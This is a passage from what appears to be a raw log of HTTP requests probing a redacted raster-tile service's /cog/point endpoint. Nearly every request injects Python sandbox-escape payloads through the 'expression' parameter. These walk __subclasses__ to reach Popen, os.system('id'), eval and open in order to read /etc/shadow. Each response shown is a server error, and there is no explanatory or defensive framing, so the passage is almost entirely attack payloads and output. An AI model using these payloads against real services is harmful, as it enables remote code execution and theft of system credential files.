class="nx"&gt;D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"unsupported expression type: &amp;lt;class 'type'&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__()&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__bases__&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;B0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__subclasses__&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"unsupported expression type: &amp;lt;class 'list'&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.**name**%3D%3D%27_wrap_close%27%5D%5B0%5D.**init**.**globals**%5B%27popen%27%5D%28%27id%27%29.read%28%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.**name**%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=httpsa.tif&amp;amp;expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"&gt;http://REDACTED/cog/point/0,0?url=httpsa.tif\&amp;amp;expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=httpsa.tif&amp;amp;expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"a.tif: No such file or directory"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'builtin_function_or_method' object is not iterable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name&lt;/a&gt;__"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'builtin_function_or_method' object is not subscriptable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'tobytes'"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;GET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;cog&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;point&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tif&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;expression&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;b1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__class__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__init__&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;__globals__&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="nx"&gt;__builtins__&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;B&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="nx"&gt;open&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="nx"&gt;D&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;Fetc&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="nx"&gt;Fshadow&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;read&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="mi"&gt;29&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m m-Double"&gt;1.1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Internal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Error&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"detail"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;"data type must provide an itemsize"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'array'"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&amp;amp;expression=np.array(%5B1,+2,+3%5D)"&gt;http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&amp;amp;expression=np.array(%5B1,+2,+3%5D)&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&amp;amp;expression=np.array(%5B1,+2,+3%5D) HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=np.array(%5B1,2,3%5D)"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=np.array(%5B1,2,3%5D)&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=np.array(%5B1,2,3%5D) HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=b1.mean%28%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=b1.mean%28%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=b1.mean%28%29 HTTP/1.1
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'mean'"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.**init**.**globals**%5B%22**builtins**%22%5D%5B%22eval%22%5D(%22**import**(%27os%27).system(%27id%27)%22)+and+b1"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='"&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=7*7"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=7*7&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;&amp;gt; &lt;/span&gt;&lt;span class="ge"&gt;GET /cog/point/0,0?url=a.tif&amp;amp;expression=7*7 HTTP/1.1&lt;/span&gt;
&amp;lt; HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Args='-i "&lt;a href="http://REDACTED/cog/point/0,0?url=a.tif&amp;amp;expression=1/0"&gt;http://REDACTED/cog/point/0,0?url=a.tif\&amp;amp;expression=1/0&lt;/a&gt;"' Output:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;gt; GET /cog/point/0,0?url=a.tif&amp;amp;expression=1/0 HTTP/1.1
